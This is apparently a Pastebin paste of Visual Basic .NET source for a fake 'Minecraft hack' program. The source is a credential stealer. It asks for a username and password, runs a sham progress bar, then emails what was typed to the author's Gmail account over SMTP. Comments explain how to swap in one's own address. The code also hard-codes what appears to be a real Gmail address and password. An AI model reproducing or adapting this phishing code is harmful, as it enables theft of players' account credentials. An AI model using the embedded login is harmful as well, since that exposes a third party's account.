API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jun 19th, 2015
305
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.68 KB | None | 0 0
raw download clone embed print report
  1. Imports System.Net.Mail
  2.  
  3. <Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
  4. Public Class Form1
  5. Inherits System.Windows.Forms.Form
  6. 'Form overrides dispose to clean up the component list.
  7. <System.Diagnostics.DebuggerNonUserCode()> _
  8. Protected Overrides Sub Dispose(ByVal disposing As Boolean)
  9. Try
  10. If disposing AndAlso components IsNot Nothing Then
  11. components.Dispose()
  12. End If
  13. Finally
  14. MyBase.Dispose(disposing)
  15. End Try
  16. End Sub
  17.  
  18. 'Required by the Windows Form Designer
  19. Private components As System.ComponentModel.IContainer
  20.  
  21. 'NOTE: The following procedure is required by the Windows Form Designer
  22. 'It can be modified using the Windows Form Designer.
  23. 'Do not modify it using the code editor.
  24. <System.Diagnostics.DebuggerStepThrough()> _
  25. Private Sub InitializeComponent()
  26. Me.components = New System.ComponentModel.Container()
  27. Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
  28. Me.Label1 = New System.Windows.Forms.Label()
  29. Me.Label2 = New System.Windows.Forms.Label()
  30. Me.TextBox1 = New System.Windows.Forms.TextBox()
  31. Me.TextBox2 = New System.Windows.Forms.TextBox()
  32. Me.Button1 = New System.Windows.Forms.Button()
  33. Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
  34. Me.ProgressBar1 = New System.Windows.Forms.ProgressBar()
  35. Me.Button2 = New System.Windows.Forms.Button()
  36. Me.Button3 = New System.Windows.Forms.Button()
  37. Me.CheckBox1 = New System.Windows.Forms.CheckBox()
  38. Me.CheckBox2 = New System.Windows.Forms.CheckBox()
  39. Me.CheckBox3 = New System.Windows.Forms.CheckBox()
  40. Me.SuspendLayout()
  41. '
  42. 'Label1
  43. '
  44. Me.Label1.AutoSize = True
  45. Me.Label1.BackColor = System.Drawing.Color.Transparent
  46. Me.Label1.Font = New System.Drawing.Font("Intro ", 8.249999!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
  47. Me.Label1.Location = New System.Drawing.Point(-3, 33)
  48. Me.Label1.Name = "Label1"
  49. Me.Label1.Size = New System.Drawing.Size(73, 13)
  50. Me.Label1.TabIndex = 0
  51. Me.Label1.Text = "Username:"
  52. '
  53. 'Label2
  54. '
  55. Me.Label2.AutoSize = True
  56. Me.Label2.BackColor = System.Drawing.Color.Transparent
  57. Me.Label2.Cursor = System.Windows.Forms.Cursors.Default
  58. Me.Label2.Font = New System.Drawing.Font("Intro ", 8.249999!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
  59. Me.Label2.ForeColor = System.Drawing.Color.Black
  60. Me.Label2.Location = New System.Drawing.Point(-3, 83)
  61. Me.Label2.Name = "Label2"
  62. Me.Label2.Size = New System.Drawing.Size(75, 13)
  63. Me.Label2.TabIndex = 1
  64. Me.Label2.Text = "Password:"
  65. '
  66. 'TextBox1
  67. '
  68. Me.TextBox1.Location = New System.Drawing.Point(76, 29)
  69. Me.TextBox1.Name = "TextBox1"
  70. Me.TextBox1.Size = New System.Drawing.Size(196, 20)
  71. Me.TextBox1.TabIndex = 2
  72. '
  73. 'TextBox2
  74. '
  75. Me.TextBox2.Location = New System.Drawing.Point(76, 79)
  76. Me.TextBox2.Name = "TextBox2"
  77. Me.TextBox2.Size = New System.Drawing.Size(196, 20)
  78. Me.TextBox2.TabIndex = 3
  79. Me.TextBox2.UseSystemPasswordChar = True
  80. '
  81. 'Button1
  82. '
  83. Me.Button1.Enabled = False
  84. Me.Button1.Location = New System.Drawing.Point(311, 126)
  85. Me.Button1.Name = "Button1"
  86. Me.Button1.Size = New System.Drawing.Size(105, 40)
  87. Me.Button1.TabIndex = 4
  88. Me.Button1.Text = "Hack"
  89. Me.Button1.UseVisualStyleBackColor = True
  90. '
  91. 'Timer1
  92. '
  93. '
  94. 'ProgressBar1
  95. '
  96. Me.ProgressBar1.Location = New System.Drawing.Point(15, 183)
  97. Me.ProgressBar1.Name = "ProgressBar1"
  98. Me.ProgressBar1.Size = New System.Drawing.Size(439, 30)
  99. Me.ProgressBar1.TabIndex = 5
  100. '
  101. 'Button2
  102. '
  103. Me.Button2.Location = New System.Drawing.Point(167, 126)
  104. Me.Button2.Name = "Button2"
  105. Me.Button2.Size = New System.Drawing.Size(105, 40)
  106. Me.Button2.TabIndex = 6
  107. Me.Button2.Text = "Prepare Hack"
  108. Me.Button2.UseVisualStyleBackColor = True
  109. '
  110. 'Button3
  111. '
  112. Me.Button3.Location = New System.Drawing.Point(30, 126)
  113. Me.Button3.Name = "Button3"
  114. Me.Button3.Size = New System.Drawing.Size(105, 40)
  115. Me.Button3.TabIndex = 7
  116. Me.Button3.Text = "Help"
  117. Me.Button3.UseVisualStyleBackColor = True
  118. '
  119. 'CheckBox1
  120. '
  121. Me.CheckBox1.AutoSize = True
  122. Me.CheckBox1.BackColor = System.Drawing.Color.Transparent
  123. Me.CheckBox1.Font = New System.Drawing.Font("Intro ", 8.249999!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
  124. Me.CheckBox1.ForeColor = System.Drawing.Color.Lime
  125. Me.CheckBox1.Location = New System.Drawing.Point(311, 28)
  126. Me.CheckBox1.Name = "CheckBox1"
  127. Me.CheckBox1.Size = New System.Drawing.Size(43, 17)
  128. Me.CheckBox1.TabIndex = 8
  129. Me.CheckBox1.Text = "Op"
  130. Me.CheckBox1.UseVisualStyleBackColor = False
  131. '
  132. 'CheckBox2
  133. '
  134. Me.CheckBox2.AutoSize = True
  135. Me.CheckBox2.BackColor = System.Drawing.Color.Transparent
  136. Me.CheckBox2.Font = New System.Drawing.Font("Intro ", 8.249999!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
  137. Me.CheckBox2.ForeColor = System.Drawing.Color.Lime
  138. Me.CheckBox2.Location = New System.Drawing.Point(311, 52)
  139. Me.CheckBox2.Name = "CheckBox2"
  140. Me.CheckBox2.Size = New System.Drawing.Size(106, 17)
  141. Me.CheckBox2.TabIndex = 9
  142. Me.CheckBox2.Text = "Speed hacks"
  143. Me.CheckBox2.UseVisualStyleBackColor = False
  144. '
  145. 'CheckBox3
  146. '
  147. Me.CheckBox3.AutoSize = True
  148. Me.CheckBox3.BackColor = System.Drawing.Color.Transparent
  149. Me.CheckBox3.Font = New System.Drawing.Font("Intro ", 8.249999!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
  150. Me.CheckBox3.ForeColor = System.Drawing.Color.Lime
  151. Me.CheckBox3.Location = New System.Drawing.Point(311, 76)
  152. Me.CheckBox3.Name = "CheckBox3"
  153. Me.CheckBox3.Size = New System.Drawing.Size(88, 17)
  154. Me.CheckBox3.TabIndex = 10
  155. Me.CheckBox3.Text = "Max healt"
  156. Me.CheckBox3.UseVisualStyleBackColor = False
  157. '
  158. 'Form1
  159. '
  160. Me.AccessibleName = ""
  161. Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
  162. Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
  163. Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image)
  164. Me.ClientSize = New System.Drawing.Size(466, 225)
  165. Me.Controls.Add(Me.CheckBox3)
  166. Me.Controls.Add(Me.CheckBox2)
  167. Me.Controls.Add(Me.CheckBox1)
  168. Me.Controls.Add(Me.Button3)
  169. Me.Controls.Add(Me.Button2)
  170. Me.Controls.Add(Me.ProgressBar1)
  171. Me.Controls.Add(Me.Button1)
  172. Me.Controls.Add(Me.TextBox2)
  173. Me.Controls.Add(Me.TextBox1)
  174. Me.Controls.Add(Me.Label2)
  175. Me.Controls.Add(Me.Label1)
  176. Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
  177. Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
  178. Me.MaximizeBox = False
  179. Me.MinimizeBox = False
  180. Me.Name = "Form1"
  181. Me.Text = "Minecraft hack"
  182. Me.ResumeLayout(False)
  183. Me.PerformLayout()
  184.  
  185. End Sub
  186. Friend WithEvents Label1 As System.Windows.Forms.Label
  187. Friend WithEvents Label2 As System.Windows.Forms.Label
  188. Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
  189. Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
  190. Friend WithEvents Button1 As System.Windows.Forms.Button
  191.  
  192. Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
  193. Timer1.Start()
  194. End Sub
  195. Friend WithEvents Timer1 As System.Windows.Forms.Timer
  196.  
  197. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  198. ProgressBar1.increment(1)
  199. If ProgressBar1.Value = Progressbar1.Maximum Then
  200. Button1.Enabled = True
  201. End If
  202. End Sub
  203. Friend WithEvents ProgressBar1 As System.Windows.Forms.ProgressBar
  204. Friend WithEvents Button2 As System.Windows.Forms.Button
  205. Friend WithEvents Button3 As System.Windows.Forms.Button
  206.  
  207. Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
  208. MsgBox("Fill in your Username and Password then click prepare hack then press hack.")
  209. End Sub
  210.  
  211. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  212. Dim MyMailMessage As New MailMessage
  213. Try
  214. If TextBox1.Text & TextBox2.Text = "" Then
  215. Call MsgBox("Please Enter A User Name and Password!", , "Error!")
  216. End If
  217. MyMailMessage.From() = New MailAddress("kazekage2002@gmail.com") 'Replace The X's with your GMAIL Address
  218. MyMailMessage.To.Add("kazekage2002@gmail.com") 'Replace The X's with your GMAIL Address
  219. MyMailMessage.Subject = "Information"
  220. MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
  221. Dim SMTP As New SmtpClient("smtp.gmail.com")
  222. SMTP.Port = 587
  223. SMTP.EnableSsl = True
  224. SMTP.Credentials = New System.Net.NetworkCredential("kazekage2002@gmail.com", "Miguel2001") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
  225. SMTP.Send(MyMailMessage)
  226. 'The Below Message is the error Message they get, during this message it will email the information to your email
  227. Call MsgBox("Hacked!", , "Done")
  228. Catch ex As Exception
  229. 'If The Program Does Run Into An Actually Real Error The Following Will Occur and close the program
  230. Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program"(MsgBoxStyle.Critical))
  231. Application.Exit()
  232. End Try
  233. End Sub
  234. Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox
  235. Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox
  236. Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox
  237. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!